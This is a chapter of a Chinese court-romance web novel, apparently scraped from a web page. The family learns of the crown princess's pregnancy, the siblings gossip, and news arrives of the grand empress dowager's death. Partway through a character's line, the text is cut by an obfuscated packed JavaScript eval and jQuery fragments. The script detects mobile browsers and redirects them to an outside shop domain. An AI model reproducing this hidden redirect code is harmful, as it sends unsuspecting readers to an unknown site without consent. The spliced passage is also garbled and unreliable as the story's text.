69.槐序传馨,菊苑风咽
作品:《萧墙龙影,九州潮》 帝国东宫。
清甜的槐花香气顺着窗缝钻进来,混着乔稚渔爱吃的草莓酪甜香。屋内,沈知韫跟根紧绷的弓弦似的杵在桌边,俩手攥得指节发白,眼睛直勾勾盯着给乔稚渔把脉的太医,连呼吸都放得轻轻的,生怕吹着了榻上的人。
乔稚渔斜靠在软榻上,被沈知韫盯得浑身不自在,戳了戳他的腰:“你别跟看犯人似的行不行?太医都被你看得手抖了,等会儿把不准脉,看我怎么收拾你!”
“别别别!”沈知韫连忙往后退了半步,却还是保持着一伸手就能护住人的姿势,压低声音问旁边把脉的太医:“张太医,怎么样了?”
“哥,你急啥?”沈夙眠本来就坐在旁边嗑瓜子,见他这副魂不守舍的样子,忍不住扯了扯他的衣袖,“大嫂身子向来结实,吃嘛嘛香,肯定没什么大事,你这脸绷得跟要上刑场似的,吓着太医都把不准脉了!”
“你懂啥!”沈知韫回头怼,随后又低了些声,“你嫂子这阵子总说容易累,万一有啥情况怎么办?”
张太医捻着胡子,闭着眼把了半天脉,眉头一会儿皱一会儿舒,看得沈知韫心都提到了嗓子眼,恨不得直接摇着老太医的肩膀问个明白。终于,张太医猛地睁开眼,“唰”地站起身,对着沈知韫拱手,脸上笑开了花:“恭喜太子!贺喜太子!太子妃这是喜脉啊!从脉象来看,肯定是位康健的小主子,瞧这力道,日后定是个活泼的!”
“真的?!”沈知韫眼睛瞬间瞪得比铜铃还大,声音拔高来一个度,吓得旁边的丫鬟手里的茶杯都差点摔了。他一把抓住张太医的胳膊,力道大得差点把对方的骨头捏碎,“你没看错?没把错脉?我媳妇真怀上了?是不是四月天太暖,你把脉把糊涂了?”
“太子殿下放心!老臣行医四十余年,喜脉绝不会错!”张太医被他晃得头晕眼花,连忙稳住身形,拍着胸脯保证。
“嗷呜——!”沈知韫一声欢呼,直接把太医往旁边一扒拉,转身就扑到软榻边,小心翼翼地握住乔稚渔的手,那力道轻得跟碰豆腐似的:“阿渔你听到没,我们有娃了!我要当爹了耶!”
乔稚渔被他这股子激动劲儿逗得笑出声,指尖轻轻挠了挠他的掌心:“瞧你那傻样,至于这么激动吗?”
旁边的沈夙眠早就跳了起来,拍手笑得眉眼弯弯:“我要当姑姑了!太好了!不行不行,我得赶紧去告诉爹去,让他也开心开心!” 她这些日子心里一直憋着股愧疚劲儿——上次御殿平乱,她忘了给沈景遇送解药,害得对方中毒卧床休养了好久,直到这几日才痊愈。如今有了这么大的喜讯,正好能让爹好好乐呵乐呵,也能弥补自己的过失。
说着,沈夙眠就跟一阵风似的往外跑,跑到门口还不忘回头喊:“大哥大嫂,我去去就回!”
看着她风风火火的背影,乔稚渔无奈地摇摇头:“你妹妹还是这么毛毛躁躁的。”
“没事,她高兴就好。”沈知韫压根没心思管别人,眼睛黏在乔稚渔身上就挪不开了,他小心翼翼地扶着乔稚渔躺下,还不忘给她垫上软枕,“快躺着歇会儿,别累着了。想吃啥?我去叫人给你做。”
乔稚渔轻轻拍了拍他的手背:“我啥也不想吃,就想让你别这么紧张,我又不是瓷娃娃,没那么娇贵。”
“那可不行!”沈知韫立马皱起眉,语气严肃得很,“你现在怀着宝宝呢,就是我们东宫的头等功臣,必须娇贵着养!以后你想躺着就躺着,想坐着就坐着,走路都得慢慢的,不许跑不许跳,更不许提重物!你啥也不用管,就负责吃好喝好睡好,把自己和宝宝养得白白胖胖的!”
养心殿内,沈景遇正低头批着奏折,笔尖划过宣纸沙沙作响,殿内静得只闻呼吸声。
“爹!爹!” 沈夙眠跟阵旋风似的冲进门,裙摆扫过门槛带起一阵风,手上还拿着糕点。
一进屋,她就瞥见站在沈景遇身旁的身影,眼睛立马亮了:“呀,老四儿!你啥时候回来了?” 说着就凑了过去,伸手想拍他的肩膀,却被沈屹星侧身躲开。
“刚回来,脚还没沾地呢。” 沈屹星穿着劲装,腰间佩剑还没解。他目光落在沈夙眠沾着糕屑的嘴角,挑眉打趣:“你这咋还跟个小馋猫似的,走到哪吃到哪?”
“要你管!” 沈夙眠瞪了他一眼,赶紧用帕子擦了擦嘴,转身又扑到沈景遇的案前,把糕点往沈屹星手里一扔,双手撑着桌面,笑得眉眼弯弯,“爹,恭喜你成功晋升了!”
沈景遇握着朱笔的手顿了顿,抬眼看向她,眼神里满是疑惑:“什么?” 他显然没跟上女儿的脑回路,眉头微蹙,一副“你在说什么胡话”的表情。
“噗嗤——” 旁边的沈屹星没忍住笑出声,抬手拍了拍沈景遇的肩膀,语气里满是戏谑:“老登,我姐的意思是你要当爷爷了!”
“诶不对,当爷爷?” 刚说完,沈屹星自己先懵了,眨巴着眼睛看向沈夙眠,声音劈了叉,“卧槽姐,咋回事?谁有了?你偷偷给我找姐夫了?”
“你瞎想啥呢!” 沈夙眠伸手在他胳膊上拧了一把,疼得沈屹星龇牙咧嘴,她才得意地扬了扬下巴,“是嫂子!嫂子有了!”
“蛙趣!” 沈屹星眼睛瞬间瞪得溜圆,嗓门大得差点震落案上的砚台,“真的假的?大哥这效率可以啊!这才成婚一年多就有娃了?” 他说着就开始搓手,一副比当事人还兴奋的模样,“那我岂不是要当叔了?不行不行,得赶紧给我大侄子或小侄女准备礼物去!”
姐弟俩你一言我一语,兴奋得在殿里转了两圈,脸上满是雀跃。可主位上的沈景遇却异常平静,听完只淡淡“哦”了一声,然后低头继续翻看手里的奏折。
“啧” 姐弟俩同时发出一声嫌弃的轻响。沈夙眠撇了撇嘴,叉着腰:“爹,你能别这么扫兴吗?好歹是你亲孙子,你就不能表现得开心点?”
沈屹星也点点头,附和道:“就是啊老登,我大哥要是知道你这反应,指定得委屈得找我娘告状去。你看看你,脸上一点表情都没有,跟谁欠了你钱似的,难怪娘总说你无趣。这么大的喜事,你就不能笑一笑?”
沈景遇抬了抬头,敷衍地点点头:“嗯,知道了。你们还有事吗?没事就别在这儿杵着,影响我处理公务。”
“切,没意思!”沈夙眠拉着沈屹星的胳膊,“咱俩走,去看看嫂子去。”
两人转身走出养心殿,殿门“吱呀”一声合上的瞬间,主位上的沈景遇嘴角才悄悄扬了起来,眼底的平静早已被藏不住的笑意取代。他放下手中的奏折,起身走到窗边,看着外面枝繁叶茂的梧桐,心情愉悦得很。
回到案前,他提笔研墨,信纸铺开,笔尖落下的第一笔就是“念念”
而门外的姐弟俩,刚走出养心殿的回廊,就忍不住吐槽起来。沈夙眠靠在朱红廊柱上,翻了个白眼:“爹真是越来越扫兴了,老是这副冰山脸,搞不懂我娘这二十年是怎么熬过来的?天天对着一张没表情的脸,不闷得慌吗?”
沈屹星靠在旁边的柱子上,嗤笑一声:“你这就不懂了吧?爹只对娘特别~”他说着,故意挤眉弄眼。
沈夙眠立马懂了,忍不住笑出声,连忙捂住嘴,左右看了看,生怕被宫人听见。姐弟俩对视一眼,立马露出同款“磕到了”的表情,眼底闪着八卦的光芒。
笑了半天,沈夙眠清了清嗓子,拉了拉沈屹星的袖子,语气变得有些扭捏:“对了,弟,姐问你个事。”
“啥事?”沈屹星挑眉,见她这副模样,心里大概有了数,故意逗她,“是不是想问哪家小公子长得帅?还是想打听哪里的糕点好吃?”
“不是!”沈夙眠瞪了他一眼,压低声音,凑到他耳边,“他…怎么样了?”
“他?”沈屹星故作懵懂,宕机了一下,眨了眨眼,随后像是突然反应过来,故意提高声音,“哦!你说二表哥啊?”
“小声点!”沈夙眠吓得赶紧捂住他的嘴,左右张望了一圈,见没人注意,才松开手,没好气道,“你想让全皇宫的人都知道啊?”
“怕什么,话说都三年了,你还没忘记他啊?”沈屹星挑眉,语气里带着几分打趣,“娘都给你定了温绪礼了,还惦记着二表哥呢?”
“你别打岔!我问你他怎么样了!”沈夙眠瞪了他一眼。
“我咋知道啊,我这半年一直在外面跑任务,在宫外又不在宫内,哪能时时刻刻盯着二表哥的动静?”沈屹星摊了摊手,见她脸色沉了下去,又补充道,“不过…我倒是听说了一件事。”
“不过什么?”沈夙眠立马凑上前,眼神里满是期待。
“舅舅病了。”沈屹星语气沉了沉,“听说病得挺奇怪,谁都不认得了,只认得娘,跟失了心智一样,见谁都怕。”
“等等”,沈屹星刚说完萧然的病情,就见沈夙眠皱着眉,一脸茫然地眨了眨眼,伸手挠了挠头:“舅舅?哪个舅舅啊?”
这话有点好笑但也难免,毕竟萧念的弟弟实在太多了,不光是亲弟,就连表弟,义弟都能凑两桌麻将了。沈屹星被她问得愣了三秒,随即扶额叹气,一副“服了你了”的表情:“还能是哪个舅舅?皇帝呗。”
“哦——!”
“只认得娘?”沈夙眠瞳孔微微收缩,满脸的难以置信,“怎么会这样?她身体不是一直挺好的吗?”
“谁知道呢,听说是突然晕倒后就这样了。”沈屹星耸耸肩,“你说奇不奇怪?太医都查不出原因,只说忧思过度,具体是怎么回事,估计只有我娘和皇宫那边的人知道。”
“…这…”沈夙眠皱起眉,心里满是疑惑。
“哦,对了,我这次回来,主要是给你们报信的。”沈屹星话锋一转,语气又变得轻快起来。
“什么信?”沈夙眠看向他。
“四表哥要成亲了,娘让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054583|193417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我们过些日子去萧国参加婚礼。”沈屹星说道。
“这么快?”沈夙眠有些惊讶。
“可不是嘛,我也是刚从娘那边听说的。”沈屹星点点头,“到时候我们一起去萧国,正好能看看二表哥,也能顺便瞧瞧温绪礼,毕竟他可是你名义上的未婚夫。”
“提他干啥。”沈夙眠撇撇嘴,语气里满是不屑,“我俩本来就没什么感情,是娘硬拉的红线,我对他一点兴趣都没有。再说了,以后有的是机会见面,也不急这一时半会儿。”
沈屹星见状,也不再打趣她,姐弟俩沿着回廊慢慢往前走,你一言我一语地聊了起来。
“对了,二姐和姐夫最近咋样了?”沈屹星问道。
“还能咋样,老样子呗。”
“那他俩啥时候结婚啊?我看娘也没怎么提。”沈屹星又问。
“布吉岛啊,”沈夙眠摇摇头,“娘和爹都没说,估计是想等四表哥的婚事办完了,再操心二姐的事吧。不过我看二姐也不急,反正两人都定了亲,早办晚办都一样。”
姐弟俩聊着聊着,就走到了东宫的方向。沈屹星眼睛一亮,加快脚步:“对了,不是说大嫂有了吗?我得赶紧去看看,给我大侄子或者大侄女包个大红包!”
“等一下!”沈夙眠一把拉住他。
“咋了?”沈屹星回头看她,一脸疑惑。
“嫂子啥时候都能去看,也不差这一时半会儿。”沈夙眠说道,“你这一走就是半年,刚回来,不该先去乔府看看小星吗?前些天还听香橼说,她可是天天念叨你,说你再不回来,她就去帝国找你了。”
沈屹星闻言,脸颊微微一红,下意识地摸了摸胸口。那里还藏着那个鸳鸯荷包,这半年来,他走到哪里都带在身上,晚上睡觉都放在枕边。“我…我这不是先想去看看大嫂嘛。”沈屹星有些不好意思地挠了挠头,眼神有些闪躲。
“少来这套!”沈夙眠一眼就看穿了他的心思,打趣道,“我还不知道你?走,我带你去乔府,正好我也想跟稚星聊聊天。”
说着,沈夙眠拉着沈屹星往宫门的方向走。沈屹星嘴上说着“别急啊,我还没准备礼物呢”,脚步却很诚实地跟着她走,嘴角还忍不住微微上扬。
……
四月的风本应一直裹挟着甜香,拂过萧国宫城的飞檐翘角,为即将到来的婚典添几分柔暖春色,却不料,一道噩耗如惊雷劈下——太皇太后含薨逝,享年八十岁。
她的一生,满是传奇底色。她自入宫起,便以过人的智计与胸襟周旋于波谲云诡的朝堂,辅佐三代君主,见证萧国从边陲小国一步步崛起为中原雄主。萧然登基的第二年,她便主动卸下所有权柄,居于菊苑颐养天年,院中栽满她最爱的秋菊,岁岁重阳,金蕊满枝。旁人都道她清心寡欲,不问政事,唯有萧念清楚,她从未真正放下过萧国。她会在菊苑的石桌旁,听宫人念宫外的民生琐事;会在萧念处理政务遇挫时,递上一盏温茶,说几句不着边际却字字珠玑的话;会在萧然耽于享乐时,轻叹一声,眼底藏着无奈,却也从未越俎代庖。
太皇太后的薨逝,让整个萧国陷入一片素缟之中。宫城的朱墙被覆上白绫,往日的喧嚣被肃穆的哀乐取代。按祖制,皇祖母薨逝,需守孝三年,婚典之事更要遥遥无期。国丧期间,举国停乐,婚嫁之事更要悉数搁置。因此四皇子萧钧奕与温聆汐的婚典自然也未能幸免,内务府拟了三份章程,皆是延后婚期。
可四皇子萧钧奕与温聆汐早已年过二十,若再等三年,两人便要到二十六岁的年纪,于寻常人家早已儿女承欢膝下。朝堂大臣几番商议,最终由萧念拍板决定:全国举丧穿白三个月,民间禁乐,宫中停宴,一切婚嫁庆典皆顺延。
萧国的加急信使快马加鞭,将太皇太后薨逝的噩耗送抵帝国时,檐下的风铃正被四月的风拂得叮咚作响。
消息传开,原本因乔稚渔有孕而处处透着喜气的东宫,瞬间被一层肃穆笼罩。沈景遇捏着那封染了墨痕的信笺,眉头紧锁,往日里的淡然尽数褪去,只余沉沉的凝重。太皇太后历经四朝,她辞世,举国缟素是必然。沈景遇当即传令下去,备最快的车马,带着几个孩子即刻启程回萧国奔丧。
“阿渔,你要不还是留在东宫安胎吧。”沈知韫握着乔稚渔的手,语气满是担忧,“路途遥远,车马颠簸,你身子可经不起这番折腾。”
乔稚渔却摇了摇头:“我没事的。太皇太后待我和小星也是极好,去年去萧国赴宴,她还拉着我的手赏了我一支赤金镶玉的步摇。如今她老人家走了,我怎好不去送最后一程?再说,我身子硬朗得很,路上多注意些便是。”
沈知韫还想劝,却被乔稚渔的眼神堵了回去。终究是拗不过,只能无奈叹气,转头吩咐侍从,把马车里的软垫加厚三层,再备上足量的安胎药和酸梅、青提,凡是乔稚渔爱吃的、能用得上的,尽数往车上搬。

